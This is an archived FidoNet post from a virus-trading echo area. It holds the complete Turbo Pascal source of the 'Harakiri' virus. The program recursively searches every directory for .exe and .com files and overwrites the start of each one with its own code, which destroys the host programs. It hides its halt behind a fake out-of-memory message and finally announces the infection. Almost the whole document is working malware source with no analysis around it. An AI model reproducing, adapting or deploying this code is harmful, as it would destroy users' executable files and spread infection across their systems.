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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vir29.pas

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2021-01-13 00:07:35 +00:00
;<EFBFBD> PVT.VIRII (2:465/65.4) <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <EFBFBD>
; Msg : 19 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:12
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : HARAKIRI.PAS
;<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD> <EFBFBD><EFBFBD>p<EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
;* From : Hans Schotel, 2:283/718 (06 Nov 94 16:36)
;* To : Dr T.
;* Subj : HARAKIRI.PAS
;<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Hans.Schotel@f718.n283.z2.fidonet.org
;{+--------------------------------------------------------------------+}
;{| Harakiri Virus V1.50 91-09-01 |}
;{| WARNING!! WARNING!! This is a virus, compiled under TP 5.5 |}
;{+--------------------------------------------------------------------+}
Uses Dos;
Const Buf_Size=25;
Var
Buff : Array[1..5488] of Byte; { Antal som flyttas per g<>ng! }
DirInfo : SearchRec;
Searchfile : String[20];
Debug : Boolean;
{------------------------------------------------------------------------}
Procedure Infect_File (Myfile:String);
Var
NumRead, NumWritten : Word;
FromF, ToF : File;
Begin
Assign(FromF,ParamStr(0)); { Open output file }
Reset(FromF, 1); { Record size = 1 }
If Debug then Writeln (Myfile);
Assign(ToF,MyFile); { Open output file }
Reset(ToF, 1); { Record size = 1 }
BlockRead(FromF,buff,SizeOf(Buff),NumRead);
BlockWrite(ToF,buff,NumRead,NumWritten);
Close(FromF);
Close(ToF);
End;
{------------------------------------------------------------------}
Function Check_File(Myfile:String) : Boolean;
Var
NumRead : Word;
NumWritten : Word;
FromF2 : File;
FromF : File;
j2 : Integer;
j1 : Integer;
Buf1 : Array[1..Buf_Size] of Byte; { Antal som flyttas per g<>ng! }
Buf2 : Array[1..Buf_Size] of Byte; { Antal som flyttas per g<>ng! }
Begin
j2:=1;
While j2<=Buf_Size do
begin
Buf1[j2]:=$20;
Buf2[j2]:=$20;
Inc(j2);
end;
Check_file := False;
Assign(FromF, ParamStr(0)); { Open input file }
Reset(FromF, 1); { Record size = 1 }
Assign (FromF2, Myfile);
Reset (FromF2, 1);
If Debug then Write ('--> '); If Debug then Writeln (Myfile);
BlockRead(FromF,buf1,SizeOf(buf1),NumRead);
BlockRead(FromF2,buf2,SizeOf(buf2),NumRead);
j1:=1;
While j1<=Buf_Size do
begin
If Buf1[j1] <> Buf2[j1] then
begin
If Debug then Writeln ('Ej Infekterad....!');
j1:=10000;
Inc (j1);
Check_file:=True;
end;
Inc (j1);
end;
If j1>=9999 then
begin
Check_file:=True;
end;
Close (FromF); Close (FromF2);
End;
{------------------------------------------------------------------}
Procedure Search_4_File (Sdir: String);
Var
Dir_save : Array[1..100] of string [12];
I,Imax : Integer;
Mask : String[80];
Attr : Integer;
Any_File_found : Boolean;
New_F : Boolean;
Antal_Infected : Integer;
Begin
Antal_Infected:=0;
If Debug then Writeln('Sdir = ' ,Sdir);
Mask := SDir + SearchFile;
Any_File_found := False;
FindFirst(Mask, $3F, DirInfo);
I := 0;
Begin
If DosError=0 then
begin
I := Length( SDir );
end;
I := 0;
While DosError=0 do
begin
If DirInfo.name[1] <> '.' then
begin
Any_File_found := true;
If Debug then Writeln(Dirinfo.name);
New_F := Check_File (SDir+DirInfo.Name);
If New_F=True then
begin
If Debug then Writeln ('Infecting file');
Infect_File (Sdir+DirInfo.Name);
Inc (Antal_Infected);
If Antal_Infected >= 4 then
begin
Writeln ('Program too big to fit in memory');
Halt;
end;
If Debug then Writeln (Antal_Infected);
end;
If New_F=False then
begin
If Debug then Writeln ('File Already Infected');
end;
end;
FindNext(DirInfo);
end; {while}
End;
Mask := Sdir + '*.*';
FindFirst(Mask, Directory, DirInfo); { look for dir only }
Imax := 0; I:= 1;
While DosError=0 do { G<>r lista <20>ver directories..}
Begin
If DirInfo.Attr and Directory <> 0 then
begin
If DirInfo.name[1] <> '.' then
begin
Dir_save[I] := DirInfo.Name;
Imax := I; inc(I);
end;
end;
FindNext(DirInfo);
End; {while}
I:=1;
While I <= Imax do
begin
Search_4_File(SDir + Dir_save[I] + '\');
I:= I+1;
end;
End;
{====Main===================================================================}
BEGIN
Debug := true;
SearchFile := '*.exe';
Search_4_File ('\');
SearchFile := '*.com';
Search_4_File ('\');
Writeln ('Your PC is alive and infected with the HARAKIRI virus!');
END.
-+- GoldED/386 2.50.B1016+
+ Origin: FidoNet * Mathieu Not<EFBFBD>ris * Brussels-Belgium-Europe (2:283/718)
=============================================================================
Yoo-hooo-oo, -!
<EFBFBD> The Me<EFBFBD>eO
/A=NNNN Set NewExe segment alignment factor
--- Aidstest Null: /Kill
* Origin: <EFBFBD>PVT.ViRII<EFBFBD>main<EFBFBD>board<EFBFBD> / Virus Research labs. (2:5030/136)
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